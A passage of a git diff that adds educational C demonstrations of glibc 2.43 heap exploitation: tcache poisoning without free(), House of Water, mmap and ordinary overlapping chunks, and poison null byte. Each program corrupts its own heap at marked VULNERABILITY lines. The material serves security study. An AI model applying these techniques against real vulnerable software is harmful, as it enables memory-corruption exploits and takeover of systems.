+ heap_ptr = malloc(SIZE_3);
+
+ top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1];
+ printf("current top size = 0x%lx\n", top_size);
+
+ // make sure corrupt top size is page aligned, generally 0x1000
+ new_top_size = top_size & PAGE_MASK;
+ heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size;
+ printf("new top size = 0x%lx\n", new_top_size);
+
+ // remove fencepost from top_chunk, to get size that will be freed
+ freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;
+ printf("freed top_chunk size = 0x%lx\n", freed_top_size);
+
+ assert(freed_top_size == CHUNK_SIZE_1);
+
+ // free the previous top_chunk
+ heap_ptr = malloc(SIZE_3);
+
+ // this will be our vuln_tcache for tcache poisoning
+ vuln_tcache = (size_t) &heap_ptr[(SIZE_3 / SIZE_SZ) + 2];
+
+ printf("tcache next ptr: 0x%lx\n", vuln_tcache);
+
+ // do the above again to free one more chunk so that we can moves chunks from smallbin to tcache
+ printf("repeat the above process and obtain one more free chunk\n");
+ top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1];
+ new_top_size = top_size & PAGE_MASK;
+ heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size;
+ heap_ptr = malloc(SIZE_3); // do the free
+ printf("Now, one more allocation will move the other two chunks to tcache\n");
+ void *pad = malloc(SIZE_1); // allocate one chunk from smallbin to move other chunks to tcache
+
+ printf("Finally, we can do tcache poisoning.\n");
+ // corrupt next ptr into pointing to target
+ // use a heap leak to bypass safe linking (GLIBC >= 2.32)
+ heap_ptr[(vuln_tcache - (size_t) heap_ptr) / SIZE_SZ] = target ^ (vuln_tcache >> 12);
+
+ // allocate first tcache (corrupt next tcache bin)
+ heap_ptr = malloc(SIZE_1);
+
+ // get arbitrary ptr for reads or writes
+ heap_ptr = malloc(SIZE_1);
+
+ // proof that heap_ptr now points to the same string as target
+ assert((size_t) heap_ptr == target);
+ puts("Success! During the whole process, we didn't use the free() function.");
+}
diff --git a/glibc_2.43/house_of_water.c b/glibc_2.43/house_of_water.c
new file mode 100644
index 0000000..ff83c80
--- /dev/null
+++ b/glibc_2.43/house_of_water.c
@@ -0,0 +1,330 @@
+#include
+#include
+#include
+
+/*
+ * House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a tcache
+ * metadata control primitive.
+ *
+ * Modified House of Water: This technique no longer requires 4-bit bruteforce, even if you cannot increment integers.
+ * There is no need to forge a size field inside the tcache structure, as the fake chunk is linked through a small bin.
+ * An article explaining this newer variant and its differences from the original House of Water can be found at:
+ * https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/House_Of_Water_Smallbin_Variant.md
+ *
+ * The technique starts by allocating the 'relative chunk' immediately after tcache metadata,
+ * sharing the same ASLR-partially-controlled second nibble (which is 2) as the target fake chunk location.
+ *
+ * Then it crafts fake tcache entries in the 0x310 & 0x320 bins using two other controlled chunks matching the 'relative chunk' size,
+ * then frees all three chunks into the unsorted bin while keeping the 'relative chunk' centered.
+ * A large allocation sorts them into the same small bin linked list.
+ *
+ * UAF overwrites the LSB of the 'first chunk' fd and the 'end chunk' bk pointers with 0x00, redirecting both to the fake tcache chunk on the tcache.
+ * Finally, it drains the tcache; the next allocation returns the 'first chunk' from the small bin and moves remaining chunks into tcache,
+ * then the second allocation returns the 'end chunk', and the final allocation returns the fake chunk for `tcache_perthread_struct` control.
+ *
+ * Technique / house by @udp_ctf - Water Paddler / Blue Water
+ * Small-bin variant modified by @4f3rg4n - CyberEGGs.
+ */
+
+
+
+void dump_memory(void *addr, unsigned long count) {
+ for (unsigned int i = 0; i < count*16; i += 16) {
+ printf("0x%016lx\t\t0x%016lx 0x%016lx\n", (unsigned long)(addr+i), *(long *)(addr+i), *(long *)(addr+i+0x8));
+ }
+}
+
+int main(void) {
+ // Dummy variable
+ void *_ = NULL;
+
+ // Prevent _IO_FILE from buffering in the heap
+ setbuf(stdin, NULL);
+ setbuf(stdout, NULL);
+ setbuf(stderr, NULL);
+
+ puts("\n");
+ puts("\t==============================");
+ puts("\t| STEP 0 |");
+ puts("\t==============================");
+ puts("\n");
+
+ puts("Very important for glibc-2.42! Now the sizeof `tcache_perthread_struct` is 0x300\n");
+ puts("Without the following heap fengshui, this technique will require 4-bit brutefoce\n\n");
+
+ // this heap fengshui will force the allocation of `tcache_perthread_struct` at offset 0x1f0, which is good for us
+ puts("Do free(malloc(0x1e0)) to force the misalignment of `tcache_perthread_struct`\n");
+ free(malloc(0x1e0));
+
+
+ puts("\n");
+ puts("\t==============================");
+ puts("\t| STEP 1 |");
+ puts("\t==============================");
+ puts("\n");
+
+ // Step 1: Create the unsorted bins linked list, used for hijacking at a later time
+
+ puts("Now, allocate three 0x90 chunks with guard chunks in between. This prevents");
+ puts("chunk-consolidation and sets our target for the house of water attack.");
+ puts("\t- chunks:");
+
+ void *relative_chunk = malloc(0x88);
+ printf("\t\t* relative_chunk\t@ %p\n", relative_chunk);
+ _ = malloc(0x18); // Guard chunk
+
+ puts("\t\t* /guard/");
+
+ void *small_start = malloc(0x88);
+ printf("\t\t* small_start\t@ %p\n", small_start);
+ _ = malloc(0x18); // Guard chunk
+
+ puts("\t\t* /guard/");
+
+ void *small_end = malloc(0x88);
+ printf("\t\t* small_end\t@ %p\n", small_end);
+ _ = malloc(0x18); // Guard chunk
+
+ puts("\t\t* /guard/");
+
+ puts("");
+
+
+ puts("\n");
+ puts("\t==============================");
+ puts("\t| STEP 2 |");
+ puts("\t==============================");
+ puts("\n");
+
+ // Step 2: Fill up t-cache for 0x90 size class
+
+ // This is just to make a pointer to the t-cache metadata for later.
+ void *metadata = (void *)((long)(relative_chunk) & ~(0xfff)) + 0x190;
+ printf("metadata: %p\n", metadata);
+
+ // Make allocations to free such that we can exhaust the 0x90 t-cache
+ puts("Allocate 0x10 0x88 chunks needed to fill out the 0x90 t-cache at a later time");
+ void *x[0x10];
+ for (int i = 0; i < 0x10; i++) {
+ x[i] = malloc(0x88);
+ }
+
+ puts("");
+
+ // Free t-cache entries
+ puts("Fill up the 0x90 t-cache with the chunks allocated from earlier by free'ing them.");
+ puts("By doing so, the next time a 0x88 chunk is free'd, it ends up in the unsorted-bin");
+ puts("instead of the t-cache or small-bins.");
+ for (int i = 0; i < 0x10; i++) {
+ free(x[i]);
+ }
+
+ puts("\n");
+ puts("\t==============================");
+ puts("\t| STEP 3 |");
+ puts("\t==============================");
+ puts("\n");
+
+ // Step 3: Create a 0x310 and a 0x320 t-cache entry which overlaps small_start and small_end.
+ // By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!
+
+ puts("Here comes the trickiest part!\n");
+
+ puts("We essentially want a pointer in the 0x310 t-cache metadata to act as a FWD\n");
+ puts("pointer and a pointer in the 0x320 t-cache to act as a BCK pointer.");
+ puts("We want it such that it points to the chunk header of our small bin entries,\n");
+ puts("and not at the chunk itself which is common for t-cache.\n");
+
+ puts("Using a technique like house of botcake or a stronger arb-free primitive, free a");
+ puts("chunk such that it overlaps with the header of unsorted_start and unsorted_end.");
+ puts("");
+
+ puts("It should look like the following:");
+ puts("");
+
+ puts("small_start:");
+ printf("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x320][0/1], unsortedbin[all][0]\n", (unsigned long)(small_start-0x10), *(long *)(small_start-0x10), *(long *)(small_start-0x8));
+ dump_memory(small_start, 2);
+ puts("");
+
+ puts("small_end:");
+ printf("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x310][0/1], unsortedbin[all][2]\n", (unsigned long)(small_end-0x10), *(long *)(small_end-0x10), *(long *)(small_end-0x8));
+ dump_memory(small_end, 2);
+
+ puts("\n");
+ puts("If you want to see a blind example using only double free, see the following chal: ");
+ puts("https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki");
+ puts("");
+ puts("Note: See this if you want to see the same example but with the modified House of Water version: ");
+ puts("https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/Tamagoyaki.md");
+ puts("\n");
+
+ puts("For the sake of simplicity, let's just simulate an arbitrary free primitive.");
+ puts("\n");
+
+
+ puts("--------------------");
+ puts("| PART 1 |");
+ puts("--------------------");
+ puts("\n");
+
+ // Step 3 part 1:
+ puts("Write 0x321 above small_start to enable its free'ing into the 0x320 t-cache.");
+ printf("\t*%p-0x18 = 0x321\n", small_start);
+ *(long*)(small_start-0x18) = 0x321;
+ puts("");
+
+ puts("This creates a 0x321 entry just above small_start, which looks like the following:");
+ dump_memory(small_start-0x20, 3);
+ puts("");
+
+ printf("Free the faked 0x321 chunk @ %p\n", small_start-0x10);
+ free(small_start-0x10); // Create a fake FWD
+ puts("");
+
+ puts("Finally, because of the meta-data created by free'ing the 0x331 chunk, we need to");
+ puts("restore the original header of the small_start chunk by restoring the 0x91 header:");
+ printf("\t*%p-0x8 = 0x91\n", small_start);
+ *(long*)(small_start-0x8) = 0x91;
+ puts("");
+
+ puts("Now, let's do the same for small_end except using a 0x311 faked chunk.");
+ puts("");
+
+
+ puts("--------------------");
+ puts("| PART 2 |");
+ puts("--------------------");
+ puts("\n");
+
+ // Step 3 part 2:
+ puts("Write 0x311 above small_end, such that it can be free'd into the 0x320 t-cache:");
+ printf("\t*%p-0x18 = 0x311\n", small_end);
+ *(long*)(small_end-0x18) = 0x311;
+ puts("");
+
+ puts("This creates a 0x311 just above small_end, which looks like the following:");
+ dump_memory(small_end-0x20, 3);
+ puts("");
+
+ printf("Free the faked 0x311 chunk @ %p\n", small_end-0x10);
+ free(small_end-0x10); // Create a fake BCK
+ puts("");
+
+ puts("restore the original header of the small_end chunk by restoring the 0x91 header:");
+ printf("\t*%p-0x8 = 0x91\n", small_end);
+ *(long*)(small_end-0x8) = 0x91;
+ puts("");
+
+
+ puts("\n");
+ puts("\t==============================");
+ puts("\t| STEP 4 |");
+ puts("\t==============================");
+ puts("\n");
+
+ // Step 4: Create the small bin list by freeing small_start, relative_chunk, small_end into the unsorted bin,
+ // then allocate large chunk that will sort the unsorted bin into small bins.
+
+ puts("Now, let's free the the chunks into the unsorted bin.");
+
+ puts("\t> free(small_end);");
+ free(small_end);
+
+ puts("\t> free(relative_chunk);");
+ free(relative_chunk);
+
+ puts("\t> free(small_start);");
+ free(small_start);
+
+ puts("\n");
+
+ puts("Now allocate a large chunk to trigger the sorting of the unsorted bin entries into the small bin.");
+ _ = malloc(0x700);
+
+ puts("");
+
+ // Show the setup as is
+
+ puts("At this point, our heap looks something like this:");
+
+ printf("\t- Small bin:\n");
+ puts("\t\tsmall_start <--> relative_chunk <--> small_end");
+ printf("\t\t%p <--> %p <--> %p\n", small_start-0x10, relative_chunk-0x10, small_end-0x10);
+
+ printf("\t- 0x310 t-cache:\n");
+ printf("\t\t* 0x%lx\n", *(long*)(metadata+0x310));
+ printf("\t- 0x320 t-cache\n");
+ printf("\t\t* 0x%lx\n", *(long*)(metadata+0x318));
+ puts("");
+
+ puts("The fake chunk in the t-cache will look like the following:");
+ dump_memory(metadata+0x370, 4);
+ puts("");
+
+ puts("We can now observe that the 0x320 t-cache points to small_start and 0x310 t-cache points to ");
+ puts("small_end, which is what we need to fake a small-bin entry and hijack relative_chunk.");
+
+
+ puts("\n");
+ puts("\t==============================");
+ puts("\t| STEP 5 |");
+ puts("\t==============================");
+ puts("\n");
+
+ // Step 5: Overwrite LSB of small_start and small_end to point to the fake t-cache metadata chunk
+ puts("Finally, all there is left to do is simply overwrite the LSB of small_start FWD-");
+ puts("and BCK pointer for small_end to point to the faked t-cache metadata chunk.");
+ puts("");
+
+ // Note: we simply overwrite the LSBs of small_start and small_end with a single NULL byte instead of 0x90;
+ // As a result, they point to our fake chunk in the tcache, which shares the same second-byte ASLR nibble (0x2) as the relative_chunk.
+
+ /* VULNERABILITY */
+ printf("\t- small_start:\n");
+ void *metadata_page = (void*)((long)metadata & ~0xfff);
+ printf("\t\t*%p = %p\n", small_start, metadata_page+0x400);
+ *(unsigned long *)small_start = (unsigned long)(metadata_page+0x400);
+ puts("");
+
+ printf("\t- small_end:\n");
+ printf("\t\t*%p = %p\n", small_end, metadata_page+0x400);
+ *(unsigned long *)(small_end+0x8) = (unsigned long)(metadata_page+0x400);
+ puts("");
+ /* VULNERABILITY */
+
+ puts("At this point, the small bin will look like the following:");
+ puts("");
+
+ puts("\t- small bin:");
+ printf("\t\t small_start <--> metadata chunk <--> small_end\n");
+ printf("\t\t %p\t %p %p\n", small_start, metadata+0x400, small_end);
+
+ puts("\n");
+ puts("\t==============================");
+ puts("\t| STEP 6 |");
+ puts("\t==============================");
+ puts("\n");
+
+ // Step 6: allocate to win
+ puts("Now, simply just allocate our fake chunk which is placed inside the small bin");
+ puts("But first, we need to clean the t-cache for 0x90 size class to force malloc to");
+ puts("service the allocation from the small bin.");
+
+ for(int i = 0x10; i > 0; i--)
+ _ = malloc(0x88);
+
+ // Allocating small_start, and small_end again to remove them from the 0x90 t-cache bin
+ _ = malloc(0x88);
+ _ = malloc(0x88);
+
+
+ // Next allocation *could* be our faked chunk!
+ void *meta_chunk = malloc(0x88);
+
+ printf("\t\tNew chunk\t @ %p\n", meta_chunk);
+ printf("\t\tt-cache metadata @ %p\n", metadata);
+ assert(meta_chunk == (metadata+0x280));
+
+ puts("");
+}
diff --git a/glibc_2.43/mmap_overlapping_chunks.c b/glibc_2.43/mmap_overlapping_chunks.c
new file mode 100644
index 0000000..a21d6bd
--- /dev/null
+++ b/glibc_2.43/mmap_overlapping_chunks.c
@@ -0,0 +1,144 @@
+#include
+#include
+#include
+#include
+
+/*
+Technique should work on all versions of GLibC
+Compile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`
+
+POC written by POC written by Maxwell Dulin (Strikeout)
+*/
+int main()
+{
+ /*
+ A primer on Mmap chunks in GLibC
+ ==================================
+ In GLibC, there is a point where an allocation is so large that malloc
+ decides that we need a seperate section of memory for it, instead
+ of allocating it on the normal heap. This is determined by the mmap_threshold var.
+ Instead of the normal logic for getting a chunk, the system call *Mmap* is
+ used. This allocates a section of virtual memory and gives it back to the user.
+
+ Similarly, the freeing process is going to be different. Instead
+ of a free chunk being given back to a bin or to the rest of the heap,
+ another syscall is used: *Munmap*. This takes in a pointer of a previously
+ allocated Mmap chunk and releases it back to the kernel.
+
+ Mmap chunks have special bit set on the size metadata: the second bit. If this
+ bit is set, then the chunk was allocated as an Mmap chunk.
+
+ Mmap chunks have a prev_size and a size. The *size* represents the current
+ size of the chunk. The *prev_size* of a chunk represents the left over space
+ from the size of the Mmap chunk (not the chunks directly belows size).
+ However, the fd and bk pointers are not used, as Mmap chunks do not go back
+ into bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of
+ the chunk must be page-aligned.
+
+ The POC below is essentially an overlapping chunk attack but on mmap chunks.
+ This is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c.
+ The main difference is that mmapped chunks have special properties and are
+ handled in different ways, creating different attack scenarios than normal
+ overlapping chunk attacks. There are other things that can be done,
+ such as munmapping system libraries, the heap itself and other things.
+ This is meant to be a simple proof of concept to demonstrate the general
+ way to perform an attack on an mmap chunk.
+
+ For more information on mmap chunks in GLibC, read this post:
+ http://tukan.farm/2016/07/27/munmap-madness/
+ */
+
+ int* ptr1 = malloc(0x10);
+
+ printf("This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\n");
+ printf("Extremely large chunks are special because they are allocated in their own mmaped section\n");
+ printf("of memory, instead of being put onto the normal heap.\n");
+ puts("=======================================================\n");
+ printf("Allocating three extremely large heap chunks of size 0x100000 \n\n");
+
+ long long* top_ptr = malloc(0x100000);
+ printf("The first mmap chunk goes directly above LibC: %p\n",top_ptr);
+
+ // After this, all chunks are allocated downwards in memory towards the heap.
+ long long* mmap_chunk_2 = malloc(0x100000);
+ printf("The second mmap chunk goes below LibC: %p\n", mmap_chunk_2);
+
+ long long* mmap_chunk_3 = malloc(0x100000);
+ printf("The third mmap chunk goes below the second mmap chunk: %p\n", mmap_chunk_3);
+
+ printf("\nCurrent System Memory Layout \n" \
+"================================================\n" \
+"running program\n" \
+"heap\n" \
+"....\n" \
+"third mmap chunk\n" \
+"second mmap chunk\n" \
+"LibC\n" \
+"....\n" \
+"ld\n" \
+"first mmap chunk\n"
+"===============================================\n\n" \
+);
+
+ printf("Prev Size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-2]);
+ printf("Size of third mmap chunk: 0x%llx\n\n", mmap_chunk_3[-1]);
+
+ printf("Change the size of the third mmap chunk to overlap with the second mmap chunk\n");
+ printf("This will cause both chunks to be Munmapped and given back to the system\n");
+ printf("This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\n");
+
+ // Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.
+ // Additionally, this same attack can be used with the prev_size instead of the size.
+ mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2 + 0x10;
+ printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]);
+ printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n");
+
+ /*
+ This next call to free is actually just going to call munmap on the pointer we are passing it.
+ The source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845
+
+ With normal frees the data is still writable and readable (which creates a use after free on
+ the chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this
+ data is read or written to, the program crashes.
+
+ Because of this added restriction, the main goal is to get the memory back from the system
+ to have two pointers assigned to the same location.
+ */
+ // Munmaps both the second and third pointers
+ free(mmap_chunk_3);
+
+ /*
+ Would crash, if on the following:
+ mmap_chunk_2[0] = 0xdeadbeef;
+ This is because the memory would not be allocated to the current program.
+ */
+
+ /*
+ Allocate a very large chunk with malloc. This needs to be larger than
+ the previously freed chunk because the mmapthreshold has increased to 0x202000.
+ If the allocation is not larger than the size of the largest freed mmap
+ chunk then the allocation will happen in the normal section of heap memory.
+ */
+ printf("Get a very large chunk from malloc to get mmapped chunk\n");
+ printf("This should overlap over the previously munmapped/freed chunks\n");
+ long long* overlapping_chunk = malloc(0x300000);
+ printf("Overlapped chunk Ptr: %p\n", overlapping_chunk);
+ printf("Overlapped chunk Ptr Size: 0x%llx\n", overlapping_chunk[-1]);
+
+ // Gets the distance between the two pointers.
+ int distance = mmap_chunk_2 - overlapping_chunk;
+ printf("Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\n", distance);
+ printf("Value of index 0 of mmap chunk 2 prior to write: %llx\n", mmap_chunk_2[0]);
+
+ // Set the value of the overlapped chunk.
+ printf("Setting the value of the overlapped chunk\n");
+ overlapping_chunk[distance] = 0x1122334455667788;
+
+ // Show that the pointer has been written to.
+ printf("Second chunk value (after write): 0x%llx\n", mmap_chunk_2[0]);
+ printf("Overlapped chunk value: 0x%llx\n\n", overlapping_chunk[distance]);
+ printf("Boom! The new chunk has been overlapped with a previous mmaped chunk\n");
+ assert(mmap_chunk_2[0] == overlapping_chunk[distance]);
+
+ _exit(0); // exit early just in case we corrupted some libraries
+}
diff --git a/glibc_2.43/overlapping_chunks.c b/glibc_2.43/overlapping_chunks.c
new file mode 100644
index 0000000..79d2a80
--- /dev/null
+++ b/glibc_2.43/overlapping_chunks.c
@@ -0,0 +1,82 @@
+/*
+
+ A simple tale of overlapping chunk.
+ This technique is taken from
+ http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf
+
+*/
+
+#include
+#include
+#include
+#include
+#include
+
+int main(int argc , char* argv[])
+{
+ setbuf(stdout, NULL);
+
+ long *p1,*p2,*p3,*p4;
+ printf("\nThis is another simple chunks overlapping problem\n");
+ printf("The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\n"
+ "which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\n"
+ "and the prev_size of it must match the unsortedbin's size\n"
+ "This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\n\n");
+
+ printf("Let's start to allocate 4 chunks on the heap\n");
+
+ p1 = malloc(0x80 - 8);
+ p2 = malloc(0x500 - 8);
+ p3 = malloc(0x80 - 8);
+
+ printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);
+
+ memset(p1, '1', 0x80 - 8);
+ memset(p2, '2', 0x500 - 8);
+ memset(p3, '3', 0x80 - 8);
+
+ printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n");
+ int evil_chunk_size = 0x581;
+ int evil_region_size = 0x580 - 8;
+ printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
+ evil_chunk_size, evil_region_size);
+
+ /* VULNERABILITY */
+ *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
+ /* VULNERABILITY */
+
+ printf("\nNow let's free the chunk p2\n");
+ free(p2);
+ printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");
+
+ printf("\nNow let's allocate another chunk with a size equal to the data\n"
+ "size of the chunk p2 injected size\n");
+ printf("This malloc will be served from the previously freed chunk that\n"
+ "is parked in the unsorted bin which size has been modified by us\n");
+ p4 = malloc(evil_region_size);
+
+ printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size);
+ printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8);
+ printf("p4 should overlap with p3, in this case p4 includes all p3.\n");
+
+ printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
+ " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");
+
+ printf("Let's run through an example. Right now, we have:\n");
+ printf("p4 = %s\n", (char *)p4);
+ printf("p3 = %s\n", (char *)p3);
+
+ printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
+ memset(p4, '4', evil_region_size);
+ printf("p4 = %s\n", (char *)p4);
+ printf("p3 = %s\n", (char *)p3);
+
+ printf("\nAnd if we then memset(p3, '3', 80), we have:\n");
+ memset(p3, '3', 80);
+ printf("p4 = %s\n", (char *)p4);
+ printf("p3 = %s\n", (char *)p3);
+
+ assert(strstr((char *)p4, (char *)p3));
+}
+
+
diff --git a/glibc_2.43/poison_null_byte.c b/glibc_2.43/poison_null_byte.c
new file mode 100644
index 0000000..81b1cb7
--- /dev/null
+++ b/glibc_2.43/poison_null_byte.c
@@ -0,0 +1,164 @@
+#include
+#include
+#include
+#include
+
+int main()
+{
+ setbuf(stdin, NULL);
+ setbuf(stdout, NULL);
+
+ puts("Welcome to poison null byte!");
+ puts("Tested in Ubuntu 20.04 64bit.");
+ puts("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.");
+
+ puts("Some of the implementation details are borrowed from https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/off_by_null.c\n");
+
+ // step0: force the allocation of tcache metadata to prevent it from messing with us
+ free(malloc(0x30));
+
+ // step1: allocate padding
+ puts("Step1: allocate a large padding so that the fake chunk's addresses's lowest 2nd byte is \\x00");
+ void *tmp = malloc(0x1);
+ void *heap_base = (void *)((long)tmp & (~0xfff));
+ printf("heap address: %p\n", heap_base);
+ size_t size = 0x10000 - ((long)tmp&0xffff) - 0x20;
+ printf("Calculate padding chunk size: 0x%lx\n", size);
+ puts("Allocate the padding. This is required to avoid a 4-bit bruteforce because we are going to overwrite least significant two bytes.");
+ void *padding= malloc(size);
+
+ // step2: allocate prev chunk and victim chunk
+ puts("\nStep2: allocate two chunks adjacent to each other.");
+ puts("Let's call the first one 'prev' and the second one 'victim'.");
+ void *prev = malloc(0x500);
+ void *victim = malloc(0x4f0);
+ puts("malloc(0x10) to avoid consolidation");
+ malloc(0x10);
+ printf("prev chunk: malloc(0x500) = %p\n", prev);
+ printf("victim chunk: malloc(0x4f0) = %p\n", victim);
+
+ // step3: link prev into largebin
+ puts("\nStep3: Link prev into largebin");
+ puts("This step is necessary for us to forge a fake chunk later");
+ puts("The fd_nextsize of prev and bk_nextsize of prev will be the fd and bck pointers of the fake chunk");
+ puts("allocate a chunk 'a' with size a little bit smaller than prev's");
+ void *a = malloc(0x4f0);
+ printf("a: malloc(0x4f0) = %p\n", a);
+ puts("malloc(0x10) to avoid consolidation");
+ malloc(0x10);
+ puts("allocate a chunk 'b' with size a little bit larger than prev's");
+ void *b = malloc(0x510);
+ printf("b: malloc(0x510) = %p\n", b);
+ puts("malloc(0x10) to avoid consolidation");
+ malloc(0x10);
+
+ puts("\nCurrent Heap Layout\n"
+ " ... ...\n"
+ "padding\n"
+ " prev Chunk(addr=0x??0010, size=0x510)\n"
+ " victim Chunk(addr=0x??0520, size=0x500)\n"
+ " barrier Chunk(addr=0x??0a20, size=0x20)\n"
+ " a Chunk(addr=0x??0a40, size=0x500)\n"
+ " barrier Chunk(addr=0x??0f40, size=0x20)\n"
+ " b Chunk(addr=0x??0f60, size=0x520)\n"
+ " barrier Chunk(addr=0x??1480, size=0x20)\n");
+
+ puts("Now free a, b, prev");
+ free(a);
+ free(b);
+ free(prev);
+ puts("current unsorted_bin: header <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500]\n");
+
+ puts("Allocate a huge chunk to enable sorting");
+ malloc(0x1000);
+ puts("current large_bin: header <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]\n");
+
+ puts("This will add a, b and prev to largebin\nNow prev is in largebin");
+ printf("The fd_nextsize of prev points to a: %p\n", ((void **)prev)[2]+0x10);
+ printf("The bk_nextsize of prev points to b: %p\n", ((void **)prev)[3]+0x10);
+
+ // step4: allocate prev again to construct fake chunk
+ puts("\nStep4: Allocate prev again to construct the fake chunk");
+ puts("Since large chunk is sorted by size and a's size is smaller than prev's,");
+ puts("we can allocate 0x500 as before to take prev out");
+ void *prev2 = malloc(0x500);
+ printf("prev2: malloc(0x500) = %p\n", prev2);
+ puts("Now prev2 == prev, prev2->fd == prev2->fd_nextsize == a, and prev2->bk == prev2->bk_nextsize == b");
+ assert(prev == prev2);
+
+ puts("The fake chunk is contained in prev and the size is smaller than prev's size by 0x10");
+ puts("So set its size to 0x501 (0x510-0x10 | flag)");
+ ((long *)prev)[1] = 0x501;
+ puts("And set its prev_size(next_chunk) to 0x500 to bypass the size==prev_size(next_chunk) check");
+ *(long *)(prev + 0x500) = 0x500;
+ printf("The fake chunk should be at: %p\n", prev + 0x10);
+ puts("use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk");
+ puts("Now we have fake_chunk->fd == a and fake_chunk->bk == b");
+
+ // step5: bypass unlinking
+ puts("\nStep5: Manipulate residual pointers to bypass unlinking later.");
+ puts("Take b out first by allocating 0x510");
+ void *b2 = malloc(0x510);
+ printf("Because of the residual pointers in b, b->fd points to a right now: %p\n", ((void **)b2)[0]+0x10);
+ printf("We can overwrite the least significant two bytes to make it our fake chunk.\n"
+ "If the lowest 2nd byte is not \\x00, we need to guess what to write now\n");
+ ((char*)b2)[0] = '\x10';
+ ((char*)b2)[1] = '\x00'; // b->fd <- fake_chunk
+ printf("After the overwrite, b->fd is: %p, which is the chunk pointer to our fake chunk\n", ((void **)b2)[0]);
+
+ puts("To do the same to a, we can move it to unsorted bin first"
+ "by taking it out from largebin and free it into unsortedbin");
+ void *a2 = malloc(0x4f0);
+ free(a2);
+ puts("Now free victim into unsortedbin so that a->bck points to victim");
+ free(victim);
+ printf("a->bck: %p, victim: %p\n", ((void **)a)[1], victim);
+ puts("Again, we take a out and overwrite a->bck to fake chunk");
+ void *a3 = malloc(0x4f0);
+ ((char*)a3)[8] = '\x10';
+ ((char*)a3)[9] = '\x00';
+ printf("After the overwrite, a->bck is: %p, which is the chunk pointer to our fake chunk\n", ((void **)a3)[1]);
+ // pass unlink_chunk in malloc.c:
+ // mchunkptr fd = p->fd;
+ // mchunkptr bk = p->bk;
+ // if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
+ // malloc_printerr ("corrupted double-linked list");
+ puts("And we have:\n"
+ "fake_chunk->fd->bk == a->bk == fake_chunk\n"
+ "fake_chunk->bk->fd == b->fd == fake_chunk\n"
+ );
+
+ // step6: add fake chunk into unsorted bin by off-by-null
+ puts("\nStep6: Use backward consolidation to add fake chunk into unsortedbin");
+ puts("Take victim out from unsortedbin");
+ void *victim2 = malloc(0x4f0);
+ printf("%p\n", victim2);
+ puts("off-by-null into the size of vicim");
+ /* VULNERABILITY */
+ ((char *)victim2)[-8] = '\x00';
+ /* VULNERABILITY */
+
+ puts("Now if we free victim, libc will think the fake chunk is a free chunk above victim\n"
+ "It will try to backward consolidate victim with our fake chunk by unlinking the fake chunk then\n"
+ "add the merged chunk into unsortedbin."
+ );
+ printf("For our fake chunk, because of what we did in step4,\n"
+ "now P->fd->bk(%p) == P(%p), P->bk->fd(%p) == P(%p)\n"
+ "so the unlink will succeed\n", ((void **)a3)[1], prev, ((void **)b2)[0], prev);
+ free(victim);
+ puts("After freeing the victim, the new merged chunk is added to unsorted bin"
+ "And it is overlapped with the prev chunk");
+
+ // step7: validate the chunk overlapping
+ puts("Now let's validate the chunk overlapping");
+ void *merged = malloc(0x100);
+ printf("merged: malloc(0x100) = %p\n", merged);
+ memset(merged, 'A', 0x80);
+ printf("Now merged's content: %s\n", (char *)merged);
+
+ puts("Overwrite prev's content");
+ memset(prev2, 'C', 0x80);
+ printf("merged's content has changed to: %s\n", (char *)merged);
+
+ assert(strstr(merged, "CCCCCCCCC"));
+}
diff --git a/glibc_2.43/safe_link_double_protect.c b/glibc_2.43/safe_link_double_protect.c
new file mode 100644
index 0000000..bccfe80
--- /dev/null
+++ b/glibc_2.43/safe_link_double_protect.c
